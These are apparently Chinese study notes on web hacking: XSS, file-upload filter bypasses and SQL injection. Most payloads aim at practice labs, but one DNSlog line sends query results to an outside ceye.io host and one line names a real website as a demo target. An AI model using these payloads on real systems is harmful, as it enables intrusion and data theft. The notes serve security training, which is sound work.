xss漏洞-基础分类及利用

XSS跨站漏洞常识

本质:产生在浏览器前端js代码的漏洞
危害:js脚本能干嘛,他就能干嘛,一句话。前端页面能做的事它都能做。(不仅仅盗取cookie、修改页面等)
函数类型:都是输出型的函数(echo,print等等)
浏览器内核版本:自带浏览器禁用js

XSS跨站漏洞分类

1
2
3
4
5
6
7
8
1、反射(非持续型)
跨站代码 ->x.php->弹窗回显
2、存储(持续型)
跨站代码 ->x.php->与数据库进行交互->x.php->弹窗回显
3、DOM-反射型XSS的一种
跨站代码 ->x.php->本地浏览器静态前端代码->x.php->弹窗回显

<a href=''onclick="alert(1)"'>what do you see?</a>
DOM 究竟是什么?

文档对象模型(DOM)是 HTML 属性的一个特性。由于你的浏览器不理解 HTML,因此它会使用将 HTML 转换为 DOM 模型的解释器。
输出地点不同而导致结果不一致

Cookie与Session

判断用户信息的凭据
Cookie 存储在本地 持续时间长 安全性较低 小型企业 盗取cookie
Session 会话 存储在服务器 持续时间较短 安全性较高 适用于中大型企业 会话劫持-网络监听,中间人攻击

盗取cookie的前提条件

1、对方存在xss漏洞
2、对方管理员有保存账号密码
3、浏览器内核允许执行js脚本

XSS 常规攻击手法

1、xss平台 https://xss8.cc/

2、工具
3、结合其他漏洞 CSRF跨站请求伪造

实验

营销订单系统jfdd
Postman工具的简单使用
WebShell 箱子系统
win7 –渗透者 win2008–服务器 本机—箱子管理员

"; ?>

$_SERVER[‘PHP_SELF’] #当前正在执行脚本的文件名,与 document root相关。
$_SERVER[‘HTTP_HOST’] #当前请求的 Host: 头部的内容

涉及资源

https://xsshs.cn/xss.php?do=login XSS平台
https://github.com/do0dl3/xss-labs XSS靶场
https://pan.baidu.com/s/1ZadZUPSFXqwB8eRG1gDZOw 提取码:5qm1 营销系统jfdd
https://pan.baidu.com/s/1I4LzRmBGH8qjGR6bwONvcw 提取码:t8rj Shell箱子系统
https://www.postman.com/downloads/ Postman工具下载

文件上传漏洞-解析漏洞

各个平台解析漏洞

​ IIS,Apache,Nginx

IIS6.0有2种解析漏洞

前提:开启Active Server Pages服务拓展(一般情况下都是开启的)
1、目录解析
以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。
2、文件解析
*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。

IIS7.5解析漏洞

解析过程同Nginx解析漏洞复现

Nginx解析漏洞

解析test.jpg/.php 以php解析运行
文件名逻辑漏洞(CVE-2013-4547)

Apache解析漏洞

1、多后缀名 test.php.ab.cd.ef 特点:apache从后到前识别,遇到无法识别的后缀进行往前看
2、罕见后缀 7z
3、.htaccess文件

伪静态

www.yucedu.com/1.html 静态
www.yucedu.com/?id=1 动态
www.yucedu.com/1 伪静态,实质上是动态
三个显示的界面都是一样,只是url上表现不同

各个WEB编辑器安全问题

https://navisec.it/编辑器漏洞手册/

涉及资源

https://navisec.it/编辑器漏洞手册/
https://pan.baidu.com/s/1YbZ4nfaAzrlLZ7afU1LcBQ 提取码:p8cd 通达OA系统源码

文件上传漏洞的上传逻辑安全

文件头检测

各个文件格式的二进制流
参考:https://www.cnblogs.com/babycool/p/3531696.html

图像文件信息判断

Pass-15 getimagesize函数 Pass-16 exif_imagetype函数 Pass-17 imagecreatefromjpeg函数

逻辑安全-二次渲染 https://www.58pic.com

二次渲染就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

逻辑安全-条件竞争 Pass-18

条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷

目录命名绕过 Pass-20
数组接受+目录命名 Pass-21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
upload-20.php
upload-20 . jpg

save_name[0]=upload-20
save_name[1]=.
save_name[2]=php

upload-20.php/.jpg

1.php/.jpg

-----------------------------231102717837736124334110320076
Content-Disposition: form-data; name="save_name[0]"

upload-20.php/
-----------------------------231102717837736124334110320076
Content-Disposition: form-data; name="save_name[2]"


涉及资源

https://www.smi1e.top/2018/06/16/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
https://pan.baidu.com/s/1cb4agMZonkfUkz_2R_-GxA 提取码:teb8 Web中间件常见漏洞总结.pdf

文件上传漏洞的后端绕过方法

文件上传之后端黑白名单绕过

文件上传常见验证:
后缀名:黑名单、白名单
文件类型:MIME信息
文件头:内容头信息

黑名单:明确不能上传的后缀
php,jsp,asp等

白名单:明确能够上传的后缀
jpg,png,gif等等

塒NG:png的文件头
xFFxD8:jpg的文件头
GIF89a:gif的文件头

文件类型MIME绕过

数据包中的Content-Type就是MIME,通过格式猜测哪种类型的MIME

文件头信息绕过

简要上传代码分析解释

$_FILES函数

$_FILES[‘upfile’][‘name’]; //客户端上传文件的原名称,不包含路径
$_FILES[‘upfile’][‘type’]; //上传文件的MIME类型
$_FILES[‘upfile’][‘tmp_name’]; //已上传文件在服务器端保存的临时文件名,包含路径
$_FILES[‘upfile’][‘error’]; //上传文件出现的错误号,为一个整数
$_FILES[‘upfile’][‘size’]; //已上传文件的大小,单位为字节

trim() 函数

移除字符串两侧的空白字符或其他预定义字符。
windiws系统下,对文件名中空格会被作为空处理,程序中的检验代码却不能自动删除空格。从而绕过黑名单。

deldot($file_name)函数

去掉最后面得点
windows系统下,文件后缀名最后一个点会被自动去除,如果在上传中,没把末尾的.去除则会绕过。
例如 windows下新建一个1.php. 文件,会自动更正为1.php

php别名解析

php3、php5、phtml能解析成php文件
httpd.conf配置文件

.htaccess文件解析

1、只有apache具有此文件
2、 .htaccess文件(分布式配置文件)是针对每个目录改变配置的方法,就是把.htaccess文件放在一个目录中,其中里面的指令作用于此目录及其所有子目录。
3、上传漏洞指令:
<FilesMatch “yucedu”>
SetHandler application/x-httpd-php
作用是文件名包含yucedu的都会以php代码执行

.user.ini文件解析

1、服务器脚本语言为PHP
2、服务器使用CGI/FastCGI模式
3、上传目录下要有可执行的php文件
.user.ini作用:所有的php文件都自动包含jpg文件

4、字符串::$DATA
在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:”phpinfo.php::$DATA”Windows会自动去掉末尾的::$DATA变成”phpinfo.php”

5、一次过滤与循环过滤(递归过滤)
作用:将字符串里的php替换为空

一次过滤:
1.php –> 1.[空]
1.phphpp –> 1.php
循环过滤(递归过滤)
1.php –> 1.[空]
1.phphphpphppp –> 1.[空]

6、%00截断与0x00截断
前提:php的版本要小于5.3.4并且魔术引号必须关闭
%00:主要针对地址上的截断
0x00截断:主要针对文件命名上的截断
0x:16进制表示
00:表示0
0x00:就是代表16进制的0
有的函数在处理这个字符时,会当做结束符
%00 和 00 是一样的,只是在get提交时,经过url编码后,00就成了%00

为什么post要进行编码,get就不用?
因为get提交方式会自动解码一次
然而post并不会

文件上传漏洞的利用和验证过滤

什么是文件上传漏洞

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。

文件上传漏洞有哪些危害

这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,获取权限

文件上传漏洞如何查找及判断

明确功能点具有上传功能
1、黑盒测试-不知道对方源码其他信息得情况下进行测试
对功能点进行测试
根据公开漏洞
2、白盒测试-知道对方源码得情况下进行代码审计

利用思路

①常规类

​ a)扫描获取上传
​ b)会员中心上传
​ c)后台系统上传
​ d)各种途径上传

②CMS类–根据已知CMS源码
③编辑器类

​ a)Ckeditor
​ b)Fckeditor
​ c)Kindeditor
​ d)xxxxeditor

④其他类/CVE

​ a)代码审计
​ b)平台/三方应用等

前端验证和后端验证

前端验证是运行在本地,可以人工绕过,比如浏览器禁用js
后端验证是前端数提交到服务器上进行验证

案例

①常规文件上传地址的获取 inurl:upload.php
②不同格式下的文件类型后门测试
配合解析漏洞下的文件类型后门测试
③本地文件上传漏洞靶场环境搭建测试
④finecms_v5文件上传漏洞测试
Weblogic任意文件上传漏洞(CVE-2018-2894)

涉及资源

https://github.com/c0ny1/upload-labs
https://pan.baidu.com/s/1h2_1gZN6V_vCou9fDwOEBg 提取码:1111 finecms_v5.0源码

sql漏洞注入扩展和Access数据库

注入扩展

加解密注入

数据的加密,base64、md5等
inurl:id=MQ==

二次注入

原理:主要分为两步
第一步:插入恶意数据
第一次进行数据库插入数据的时候,用户向数据库插入恶意语句,但是在写入数据库的时候还是保留原来的数据
第二步:引用恶意数据
在将数据存入到数据库之后,寻找另一处引用这个数据的操作,取出后直接给变量并带入数据库,这样就造成了SQL的二次注入

yucedu’#
UPDATE users SET PASSWORD=’$pass’ where username=’yucedu’#’ and password=’$curr_pass’

#如果输入框有长度限制怎么办?
1、前端限制:通过修改前端参数
2、后端限制:没有办法

DNSlog注入

#原理:有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、DNS解析、SMB服务等将数据带出。DNSlog盲注可以减少发送的请求,直接回显数据实现注入

利用前提条件:
mysql.ini中secure_file_priv必须为空
★secure_file_priv为null,不允许导入导出
★secure_file_priv为/tmp,导入导出只能在/tmp目录下
★secure_file_priv为空时,则不做限制允许导入导出

payload:
?id=1’ and load_file(concat(‘\\‘,(select database()),’.evs4gq.ceye.io\abc’))–+
相应的更换select database()查询语句便可以实现DNS外带的回显注入,其中evs4gq.ceye.io为ceye.io平台给每个账号起的昵称

python dnslogSql.py -u “http://192.168.80.140/sqlilabs/Less-2/?id=1 and ({})–+”

堆叠查询注入

#原理:多条 sql 语句一起执行,其中采用;(分号)标识一条语句的结束,表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection(堆叠注入)

#局限性
需要知道一些数据库相关信息的,例如表名,列名等信息

#堆叠注入和联合注入有何区别?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

payload:
#sqlilabs-less38
http://127.0.0.1/sqlilabs/less-38/?id=1';insert into users(id,username,password) values (‘100’,’test’,’test’)–+

id=1’;insert into users(id,username,password) values (‘100’,’test’,’test’)–+
SELECT * FROM users WHERE id=’’;insert into users(id,username,password) values (‘100’,’test’,’test’)–+’ LIMIT 0,1

Access数据库

Access和Mysql数据库架构组成区别

1、除了Access之外,其他数据库的架构基本是一样的
2、在网站搭建的时候,access数据库会直接保存在源码下面,是独立存在的
参考:https://blog.csdn.net/bylfsj/article/details/101390839

#Mysql数据库结构(oracle、mssql等)
数据库A
表名
列名
数据
数据库B
表名
列名
数据

#Access数据库结构
表名
列名
数据

如果Access暴力猜解不出来怎么办?

1、Access偏移注入:解决列名获取不到的情况
2、查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况 inurl:zb_system

用”“代表 admin 表的字段数,计算代替字符的位数。

​ sqlilabs-less21 cookie&加解密注入
​ sqlilabs-less24 登录框&二次注入
​ sqlilabs-Less38 堆叠注入(多语句)
​ Access数据库本地搭建靶场-偏移注入

涉及资源

http://ceye.io/ CEYE平台
https://www.cnblogs.com/backlion/p/9721687.html 堆叠注入
https://github.com/ADOOO/DnslogSqlinj DNSlog注入工具
https://pan.baidu.com/s/1dG7aK2Fk-qNLYNgF09msjA 提取码:70oz

附录

注释符

​ MySQL: 单行:# 、多行: //
​ SQLServer:单行: – 多行: /
/
​ Oracle:单行: – 多行: //
​ PostgreSQL:单行:– 多行: /
/
​ Access:无注释符

数据库端口

​ MySQL: 3306
​ SQLServer: 1433
​ Oracle:1521
​ PostgreSQL:5432
​ Access: 属于文件型数据库,所以不需要端口号

数据库文件后缀名

​ MySQL:数据文件:. myd 、索引文件:. MYI 、表定义文件:. frm
​ SQLServer: .mdf
​ Oracle:.dbf 和 .ora
​ PostgreSQL:无后缀名
​ Access:早期是 .mdb ,后来是 .accdb

特有的数据库

​ MySQL: information_schema
​ SQLServer:sysobjects
​ Oracle:dual
​ PostgreSQL:
​ Access:msysobjects

查看当前用户或权限

MySQL
1、查询当前用户
select user();
select substring_index(user(), ‘@’, 1) ;
2、查询当前用户的权限
select * from mysql.user where user = substring_index(user(), ‘@’, 1) ;
SQLServer
1、判断是否是SA权限
select is_srvrolemember(‘sysadmin’)
2、判断是否是db_owner权限
select is_member(‘db_owner’)
3、判断是否是public权限
select is_srvrolemember(‘public’)
Access数据库是文件类型数据库,没有用户和权限的概念

sql漏洞查询方式和报错盲注

数据库查询方式

select 查询数据

在网站应用中进行数据显示查询操作
例:select * from news where id=$id

insert 插入数据

在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,’x’,’$t’)

delete 删除数据

后台管理里面删除文章删除用户等操作
例:delete from news where id=$id

update 更新数据

会员或后台中心数据同步或缓存等操作
例:update user set pwd=’$p’ where id=2 and username=’admin’

重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式

SQL注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

1、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue
原理:采用sql语句的特性使之报错回显在页面上

2、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid
原理:通过sql语句逻辑判断信息内容

3、基于时间的SQL盲注-延时判断

if,sleep
select if(database()=’pikachu’,123,456);
原理:通过响应页面时长判断信息内容

192.168.80.140/sqlilabs/Less-5/?id=1’ and sleep(if(database()=’aaa’,5,0))

参考:
like ‘ro%’ #判断ro或ro…是否成立
regexp ‘^yucedu…’ #匹配yucedu及yucedu…等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b(第一位从1开始算)开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c个字符
left(database(),1) #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否大于小于等于97
0=48 a=97 A=65

各种查询方式注入测试(报错盲注)
sqlilabs-less5注入测试(布尔盲注)
sqlilabs-less2注入测试(延时盲注)
网上实例演示 http://techmart.com.hk/Coating_Services/latest_news_detail.php?id=1

Payload:

pikachu insert

username=x’ or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ‘
&password=admin&sex=%E7%94%B7&phonenum=13333333333&email=fuzhou&add=fujian&submit=submit

username=x’ or updatexml(1,concat(0x7e,(version())),0) or ‘
&password=admin&sex=%E7%94%B7&phonenum=13333333333&email=fuzhou&add=fujian&submit=submit

username=x’ or extractvalue(1,concat(0x7e,database())) or ‘
&password=admin&sex=%E7%94%B7&phonenum=13333333333&email=fuzhou&add=fujian&submit=submit

pikachu update

sex=%E7%94%B7&phonenum=13333333333&add=hubeNicky’ or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or ‘&email=fuzhou&submit=submit

sex=%E7%94%B7&phonenum=13333333333&add=hubeNicky’ or updatexml(1,concat(0x7e,(version())),0) or ‘&email=fuzhou&submit=submit

sex=%E7%94%B7&phonenum=13333333333&add=Nicky’ or extractvalue(1,concat(0x7e,database())) or ‘&email=fuzhou&submit=submit

pikachu delete

/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

延时盲注:

and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)–+

涉及资源

https://www.jianshu.com/p/bc35f8dd4f7c 12种报错注入+万能语句

高低权限注入和敏感文件读写

高权限注入及低权限注入

高用户权限和低用户权限的不同

跨库查询思路 前提:拥有高权限

文件读写操作

MySQL特有的函数

前提条件:在mysql.ini配置文件添加参数secure_file_priv = [空]
1、load_file() — 读取函数
2、into outfile 或 into dumpfile — 导出函数

路径获取常见方法

​ 报错显示,遗留文件 phpinfo.php,漏洞报错,平台配置文件,爆破等

常见读取文件列表:常见写入文件问题:魔术引号开关
magic_quotes_gpc
魔术引号:php内置的一个安全机制,默认是开启的,当打开时,所有的 ‘(单引号),”(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义
5.4.0版本以上的把这个功能撤除了。
类似PHP中的addslashes()函数

魔术引号绕过方法

1、编码绕过
2、宽字节绕过(前提数据库编码是gbk)
%df’
%df%5c%27 = 縗 失去转义效果
show variables like ‘%char%’; 查看编码系统字符集设置
set character_set_client = gbk; 修改字符集编码方式
参考链接:https://blog.csdn.net/qq_46091464/article/details/105893529

​ 低版本注入配合读取或暴力
​ 通过字典跑或猜再进行读取

实验

高权限注入跨库查询操作测试
高权限注入文件读写操作测试
魔术引号开启后相关操作测试 宽字节绕过:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 在线靶场

涉及资源

https://blog.csdn.net/weixin_30292843/article/details/99381669 常见的load_file()读取的敏感信息

sql注入请求方法

参数类型

1、数字类型
select * from user where id=1
2、字符类型
select * from user where name=’yucedu’
过滤’(单引号)和”(双引号)
3、搜索类型
select * from user where name like ‘%yucedu%’ 只要有yucedu都会被搜索出来
过滤%(百分号)和’(单引号)
4、JSON类型
★post提交方式中的一种数据交互格式
JSON格式:
json={“name”:”yucedu”
“age”:”18”}

必须将语句的符号闭合,使注入语句生效
注释符号:–+,# 有时候–+用不了就用#

$id=$_GET[‘id’];
?id=1 and 1=2 union select 1,2,3–+
$sql=”SELECT * FROM users WHERE id=’1 and 1=2 union select 1,2,3–+’ LIMIT 0,1”;
?id=1’ and 1=2 union select 1,2,3–+
$sql=”SELECT * FROM users WHERE id=’1’ and 1=2 union select 1,2,3–+’ LIMIT 0,1”;

SQL语句干扰符号

​ ‘(单引号),”(双引号),%(百分号),)(小括号),}(大括号) 等,具体需看写法

请求方法

GET、POST、COOKIE、REQUEST、HTTP头部等

GET请求传输的数据量限制在2KB左右
GET只要在url上,就能接收到请求
REQUEST请求不管是GET和POST都可以
HTTP报文头部各个参数都能注入,比如User-Agent、Cookie

演示实验

参数字符型注入测试 sqlilabs Less-1,2,3,4
POST数据提交注入测试 sqliabs Less-11
COOKIE数据提交注入测试 sqlilabs Less-20
HTTP头部参数数据注入测试 sqlilabs Less-18
参数JSON数据注入测试 https://tianchi.aliyun.com/competition/entrance/531796/information
$sql=”select * from users where username=’{&username}’”;
json={“username”:”admin’ and 1=2 union select 1,2,3#”} ‘ (单引号)闭合的是SQL语句中的 ‘

sql注入基础

数据库类型

Access、Mysql、Mssql、Oracle、Postsql、SQLite、Mongodb等等

数据库结构(以MySQL数据库为例)

数据库A
表名
列名
数据
数据库B
表名
列名
数据
数据库C
…..

如何判断注入点

逻辑运算符

且 and
或 or
非 not
异或 xor
真且真 = 真
真且假 = 假
真或假 = 真

常规注入方式

and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
and 1=2 页面404或页面不影响
可能后台有检测,没有sql漏洞

猜解列名数量

order by 3 页面正常,表示列名数量为>=3

#联合查询
union select 1,2,3 将数据回显页面上进行控制

#注释符号
–+ , #

限制查询的结果

LIMIT语句进行控制,Limit 0,1表示 0开始显示1条数据,可以修改起始位置0改变输出结果
a={1,2,3,4}
Limit 0,1

$x=$_GET[‘id’];
SELECT * FROM users WHERE id=1 LIMIT 0,1

id=2 and 1=2 union select 1,2,3
SELECT * FROM users WHERE id=2 and 1=2 union select 1,2,3 LIMIT 0,1

常用查询方式

查询:select
增加:insert
修改:update
删除:delete
排序:order by

数据库信息收集

数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

必懂知识点

1
2
3
4
5
6
7
8
1、mysql5.0版本以上,会自带一个数据库information_schema,里面存着所有数据名,所有表名,所有列名,这时候就可以利用这个特性,去查找相对应数据库下的表名和列名数据,其中高版本包括5.0以上,低版本5.0以下
2、数据库符号".",表示下一级,如 CMS.user表示CMS数据库下的user表
3、各种语句
information_schema.tables:表示记录所有数据库的所有表名的表
information_schema.columns:表示记录所有数据库的所有列名的表
table_name:表名
column_name:列名
table_schema:数据库名
案例实验

墨者靶机真实 MYSQL 注入演示
数据库名:mozhe_Discuz_StormGroup
表名:StormGroup_member
列名:id,name,password,status,id,title,content,time

涉及资源

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe 墨者靶场
https://github.com/Audi-1/sqli-labs sqlilab靶场

常见sql注入函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
user():用户名
version():mysql版本
database():数据库名
@@datadir:读取数据库路径
@@plugin_dir:读取插件位置
select load_file:(读文件的路径)
length() =>计算字符串长度
hex() =>字符转换为16进制
@@basedir MYSQL:获取安装路径
select current_user():查询当前用户
select system_user():查看系统用户
@@version_compile_os:操作系统版本
into outfile:写文件{select '需要写的文件' into outfile '目录下'}
group_concat(列名):会把这一列中所有的内容在一行中以,隔开输出
concat(str1,str2,…):没有分割符地连接字符串,显示数据(数据合并)
select '123123' into outfile 'd://study/1.txt';(将123123添加至d盘study中新建1.txt文件中)
group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分割每一条数据,显示数据
concat_ws(separator,str1,str2):用分隔符连接两个字段的字符串
group_concat(concat_ws(seperator,str1,str2)):将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔